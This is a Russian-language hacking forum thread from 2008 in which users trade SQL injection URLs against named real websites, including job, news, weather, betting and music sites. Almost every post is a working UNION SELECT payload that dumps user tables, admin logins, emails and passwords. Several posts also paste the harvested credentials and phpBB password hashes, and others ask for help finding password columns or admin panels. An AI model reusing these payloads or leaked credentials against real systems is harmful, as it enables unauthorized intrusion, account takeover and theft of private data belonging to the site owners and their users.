
14.07.2008, 20:55
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами:
10081287
Репутация:
568
|
|
Rabota.su
http://www.rabota.su/info/makebiz/index.php?id=99999+union+select+concat_ws(0x3a,log in,pwd),2+from+rabota_1.users/*
главная авторизация на сайте.
http://www.rabota.su/info/makebiz/index.php?id=99999+union+select+concat_ws(0x3a,log in,pass),2+from+test.1ckkm_adm_usr/*
поидее админы..
http://www.rabota.su/info/makebiz/index.php?id=99999+union+select+concat_ws(0x3a,log in,pass),2+from+test.my8pref_adm_usr/*
/admin - 500 (
Qanat.info
http://www.qanat.info/en/news.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,concat_ws(0x3a,version(),user(),database(),0x2 02020202a2623313038303b2623313037363b2623313037373 b2623313039303b202623313039323b2623313038303b26233 13038333b2623313130303b2623313039303b2623313038383 b2623313037323b2623313039343b2623313038303b2623313 130333b2066726f6d2028),18,19,20,21,22/*
наверника фильтрирует from (
Shanson.info
http://shanson.info/mp3/view_cat2.php?id=9999999+union+select+1,2,concat_w s(0x3a,username,user_password)+from+srv12705_sh1fo r.infophpbb3_users--
это пассы от форума, пасс админа в непонятном хеше..
Vlad: $H$9smGyUL04XKl5u16IE4w9MaceJYEqw.
Mkrug.ru - /forum
http://shanson.info/mp3/view_cat2.php?id=9999999+union+select+1,2,concat_w s(0x3a,username,user_password)+from+srv12705_sh1fo r.mkrugphpbb3n_users--
Иван: $H$9Ah37qYJZaSPHfGTDN0MQygFcA1ZWK.
Ogonek.su - /forum
http://shanson.info/mp3/view_cat2.php?id=9999999+union+select+1,2,concat_w s(0x3a,username,user_password)+from+srv12705_etike tt.phpbb_ogonekusers--
admin: $H$9T7Fs09jDWbOgt4NQKRDuOeVs8KhXA/
кароч. там еще много чего интересного )
Последний раз редактировалось sabe; 14.07.2008 в 22:38..
|
|
|

14.07.2008, 21:52
|
|
Постоянный
Регистрация: 05.05.2008
Сообщений: 403
С нами:
9483229
Репутация:
1160
|
|
Код:
http://www.wagerweb.com/endorsement-detail.cfm?endorsmentid=-13+union+select+1,2,unhex(hex(table_name)),4,5,6+from+information_schema.tables/*
----
Код:
COLUMNS COLUMN_PRIVILEGES KEY_COLUMN_USAGE ROUTINES SCHEMATA SCHEMA_PRIVILEGES STATISTICS TABLES TABLE_CONSTRAINTS TABLE_PRIVILEGES TRIGGERS VIEWS USER_PRIVILEGES categories contacts subcategories columns_priv db func help_category help_keyword help_relation help_topic host proc procs_priv tables_priv time_zone time_zone_leap_second time_zone_name time_zone_transition time_zone_transition_type user challenge_mlb challenge_nba challenge_ncaabk challenge_ncaafb challenge_nfl challenge_nhl comments_mlb comments_nba comments_ncaabk comments_ncaafb comments_nfl comments_nhl consensus_mlb consensus_nba consensus_ncaabk consensus_ncaafb consensus_nfl consensus_nhl picks_mlb picks_nba picks_ncaabk picks_ncaafb picks_nfl picks_nhl points_mlb points_nba points_ncaabk points_ncaafb points_nfl points_nhl team_mlb team_nba team_ncaabk team_ncaafb team_nfl team_nhl advertising ariticle_types art_comments articles articles_experts articles_rating blog_articles blog_arttype blog_sports blog_user ch_home_entry ch_home_entry comments countries coverage deposit_promo emailtemplate endorsements eqrace events faq free_contest globalsitepages globalvariables header_text horse_tracks hot_this_week images_promos inprogress jackpots links mail mail_user mainpagetext marquees matchups media media_feeds media_user metatags picks_pros poll_answers poll_questions poll_votes promos props questions races_information right_buttons send_emails shows smcategories smchannels smindex smprivileges smsections sound_files sports_teams states stats_scores teasers temp_articles topfiveleaders topfivematchups topfiveodds users video_shows winners winners_list writers
Код:
http://www.wagerweb.com/endorsement-detail.cfm?endorsmentid=-13+union+select+1,2,unhex(hex(column_name)),4,5,6+from+information_schema.columns+where+table_name=0x75736572/*
Код:
http://www.wagerweb.com/endorsement-detail.cfm?endorsmentid=-13+union+select+1,2,unhex(hex(concat_ws(0x3a,usern,password,email,admin))),4,5,6+from+users/*
|
|
|

15.07.2008, 00:14
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами:
10081287
Репутация:
568
|
|
RBC.ua - РБК Украина - PR 5
мой любимый способ вывода - в .txt
http://marketing.rbc.ua/file.php?id=99999+union+select+concat_ws(0x3a,user ,password),2,3+from+mysql.user/*
root: а пасса поидее нету
шелл не зальеш ( фильтруются кавычки..
теперь пойдем по субдомменах..
http://marketing.rbc.ua/file.php?id=99999+union+select+concat_ws(0x3a,logi n,pass),2,3+from+presscenter.sys_user/*
Press.rbc.ua/admin/
admin; 5660511
http://marketing.rbc.ua/file.php?id=99999+union+select+concat_ws(0x3a,logi n,pass),2,3+from+radio.sys_user/*
Radio.rbc.ua/admin/
admin; 5660511
http://marketing.rbc.ua/file.php?id=99999+union+select+concat_ws(0x3a,logi n,password),2,3+from+rbc_research.rbc_users/*
Research.rbc.ua
shultz: shultz
бд большая - рут. найти можно много интересного..
Pogoda.ua- PR 4
http://www.pogoda.ua/index.php?id=999999+union+select+1,concat_ws(0x3a, version(),user(),database()),3,4,5/*
увы 4 мускул. хехе угадал табличку.....
http://www.pogoda.ua/index.php?id=999999+union+select+1,concat_ws(0x3a, login,password),3,4,5+from+users/*
InnovateOnline.info - PR 6
http://innovateonline.info/index.php?view=article&id=9999999+union+select+1,c oncat_ws(0x3a,password)+from+innovate.person_accou nt/*
пассы...
http://innovateonline.info/index.php?view=article&id=9999999+union+select+1,c oncat_ws(0x3a,email)+from+innovate.person/*
мыла...
http://innovateonline.info/index.php?view=article&id=9999999+union+select+1,c oncat_ws(0x3a,user_login,user_pass)+from+innovate_ jobs.wp_users/*
WP - токо где он ?
пс: второй домен webhost.fgsweb.fgsehs.nova.edu
Effective.net.ua
http://www.effective.net.ua/show_obj.php?a=-1+union+select+1,2,3,4,5,6,7,version(),9,10,11,12, 13,14,15,16,17/*
Ekip.com.ua
http://ekip.com.ua/index.php?id=623+union+select+1,2,3,4,5,6,7,8,9,10 ,11,12,13,14,15--
вывод необнаружен..(
Последний раз редактировалось sabe; 03.08.2008 в 19:10..
|
|
|

15.07.2008, 10:43
|
|
Новичок
Регистрация: 22.05.2008
Сообщений: 27
С нами:
9457966
Репутация:
0
|
|
Хотел доработать
http://www.stumptuous.com/cms/
админку не могу найти =) поскажите плиз
|
|
|

15.07.2008, 11:52
|
|
Участник форума
Регистрация: 02.06.2007
Сообщений: 210
С нами:
9969506
Репутация:
252
|
|
Код:
http://www.mdiecast.com/manufacturerinfo.php?manname=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
попробуйте подобрать поля с паролями.. оч нужно
|
|
|

15.07.2008, 12:59
|
|
Познающий
Регистрация: 24.04.2007
Сообщений: 92
С нами:
10025299
Репутация:
412
|
|
Сообщение от BizzyD
Код:
http://www.mdiecast.com/manufacturerinfo.php?manname=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
попробуйте подобрать поля с паролями.. оч нужно
Поле с паролем не нашёл но нашёл таблицу с акками:
_http://www.mdiecast.com/manufacturerinfo.php?manname=-1+union+select+1,login,3,4,5,6,7,8,9,10,11,version (),13,14,15+from+accounts+limit+0,1/*
Ща покопаюсь дальше!
Есть форум ipb http://www.forum.mdiecast.com/ но база скорее всего другая и с ipb_members не читает((
Последний раз редактировалось S00pY; 15.07.2008 в 13:27..
|
|
|

15.07.2008, 14:24
|
|
Познающий
Регистрация: 10.05.2007
Сообщений: 38
С нами:
10002038
Репутация:
100
|
|
Сообщение от BizzyD
Код:
http://www.mdiecast.com/manufacturerinfo.php?manname=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
попробуйте подобрать поля с паролями.. оч нужно
Код:
http://www.mdiecast.com/manufacturerinfo.php?manname=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,id,login,email),8,9,10,11,12,13,14,15+from+accounts+limit+0,1/*
Не хватает только пасса, пока ничего не придумаю...
|
|
|

15.07.2008, 12:09
|
|
Новичок
Регистрация: 22.05.2008
Сообщений: 27
С нами:
9457966
Репутация:
0
|
|
http://www.mdiecast.com/manufacturerinfo.php?manname=-1+order+by+15
15 штук
4.1.22-standard
удачи
+)
Последний раз редактировалось 2la.painkiller; 15.07.2008 в 12:11..
|
|
|

15.07.2008, 12:13
|
|
Познающий
Регистрация: 10.07.2008
Сообщений: 70
С нами:
9387494
Репутация:
36
|
|
http://www.hyoro.net/Azur/ - Люди ента кп подается мускл???? Чтото странное какието ошибки внизу и по бокам!!! Посмарите плиз!!!
|
|
|

15.07.2008, 12:33
|
|
Участник форума
Регистрация: 19.03.2008
Сообщений: 108
С нами:
9550090
Репутация:
137
|
|
Сообщение от BanQui
http://www.hyoro.net/Azur/ - Люди ента кп подается мускл???? Чтото странное какието ошибки внизу и по бокам!!! Посмарите плиз!!!
закончилось место для хостинга
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|